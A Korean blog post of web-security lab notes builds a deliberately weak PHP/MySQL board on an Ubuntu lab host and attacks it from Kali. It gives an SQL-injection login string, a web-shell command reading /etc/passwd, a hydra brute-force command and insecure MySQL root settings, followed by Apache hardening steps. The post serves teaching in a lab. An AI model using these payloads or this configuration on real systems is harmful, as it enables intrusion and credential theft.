클라우드 배우기
보안 설정 Ubuntu 및 Kali 본문
# sudo apt install apache2 -y
# sudo apt install mysql-server -y
# sudo apt install php php-mysql -y
# sudo mysql
GRANT ALL PRIVILEGES ON *.* TO 'root'@'localhost';
UPDATE mysql.user SET host='%' WHERE user='root';
update mysql.user set plugin='mysql_native_password' where User='root';
FLUSH PRIVILEGES;
ALTER USER 'root'@'%' IDENTIFIED BY '1111';
FLUSH PRIVILEGES;
exit
# sudo vi /etc/mysql/mysql.conf.d/mysqld.cnf
bind-address = 0.0.0.0 으로 수정
# cd /etc/mysql/mysql.conf.d/
# nano mysqld.cnf
# sudo systemctl restart mysql
php 게시판 앱 설치
- php 게시판 앱 다운로드
# cd /var/www/html/
# sudo wget -O webhack.zip https://rb.gy/z8lf1
# sudo unzip webhack.zip
- Datavase 스키마 설치
# cd ./board
# mysql -u root -p < webhack.sql
- PHP 게시판 앱 파일 권한 이전
PHP 게시판 앱 파일 권한 이전
# sudo chown www-data:www-data -R /var/www/html/board
하기와 같이 우분투는 오류 페이지에 웹 서버의 정보가 기본적으로 노출되기 때문에 IP 주소 같은 정보가 출력
Kali
Firefox 내 10.0.2.11/boards/pds/
10.0.2.11/board
ID 와 비밀번호는 admin ' or '='-' 로 설정하여 하기와 같이 진행하면 로그인 가능
타 비밀번호 입력 시, 접속이 안되는 것 확인
XSS - 파일 업로드 attack
하기와 같이 게시판 글 작성
해당 글을 클릭하면 하기와 같이 알림창이 뜸
게시판에 자바스크립트(JavaScript) 코드를 입력하고 작동하는 경우 XSS 취약점이 존재한다고 볼 수 있기 때문에 웹 애플리케이션에서 입력 값에 자바스크립트나 HTML 태그 등을 사용하지 못하게 방지해야 함
파일 유형을 검증할 수 있도록 web shell 업로드
http://10.0.2.11/board/pds/webshell.php
공란에 하기 명령어 입력
pwd ; echo --------; cat /etc/os-release ; echo --------; cat /etc/passwd
Brute force attack
단순하게 특정 계정에 대해 로그인을 수없이 시도하는 것
# wget https://github.com/github2ygl/safehack/raw/main/password.txt => password.txt 다운로드
# hydra -l admin -P ./password.txt 10.0.2.11 http-post-form "/board/login_chk.php:id=^USER^&pw=^PASS^:fail" -VF => 무차별 공격 시작
하기와 같이 아이디 : admin, 패스워드: admin1234 로 로그인이 가능하다는 것을 볼 수 있음.
무차별 공격으로 로그인 시도 성공
Apache 웹 서버는 access log 및 error log 기록
cat /var/log/apache2/access.log => 접근 로그로 해킹 시도 파악 가능
cat /var/log/apache2/error.log => 에러 로그로 해킹 시도 파악 가능
안전한 웹 사이트 구축
Apache 디렉토리 리스팅과 Sybolic links 비활성화
디렉터리 리스팅의 취약점 : 허가 권한이 없는 외부 사용자가 유출되어서는 안 되는 내부 파일 등에 접근하기 위해 URL을 조작하여 디렉터리나 폴더의 구조를 직접 이용해 접근하는 것이 가능
ubuntu@target:
# sudo nano /etc/apache2/apache2.conf
하기와 같이 수정
# sudo systemctl restart apache2
Kali firefox
Apache 서버 정보 노출 방지
Ubuntu 서버의 IP 주소 10.0.2.11 을 표시지 않도록 설정
ubuntu@target:
# sudo nano /etc/apache2/apache2.conf
맨 하단에 하기 두 줄 추가
# systemctl restart apache2
Kali firefox
Forbidden 표시를 안 하고 404 error 가 출력되게 설정
커스텀 에러 페이지 생성
ubuntu@target:
# cd /var/www/html/
# sudo nano 404.html
<h1 style='color:red'>Error 404: Not found :-(</h1> 작
# sudo nano /etc/apache2/apache2.conf
맨 하단에 하기 한 줄 추가
# sudo systemctl restart apache2
'Linux' 카테고리의 다른 글
Redhat RH-134 : 인용 특수 문자 + BASH 스크립트 + for문 (1) | 2023.10.16 |
---|---|
Target Database Hack : SQL 데이터 베이스 회원 정보 확인 - Ubuntu (0) | 2023.10.12 |
Ubuntu 및 Kali 설치 및 세팅 - Ubuntu (0) | 2023.10.10 |
RHCSA 기출 : Network 설정 및 계정명 변경 - Centos7 (0) | 2023.10.06 |
Chrony 다운로드 및 설정 (시스템 시간 동기화) - Centos7 (0) | 2023.10.06 |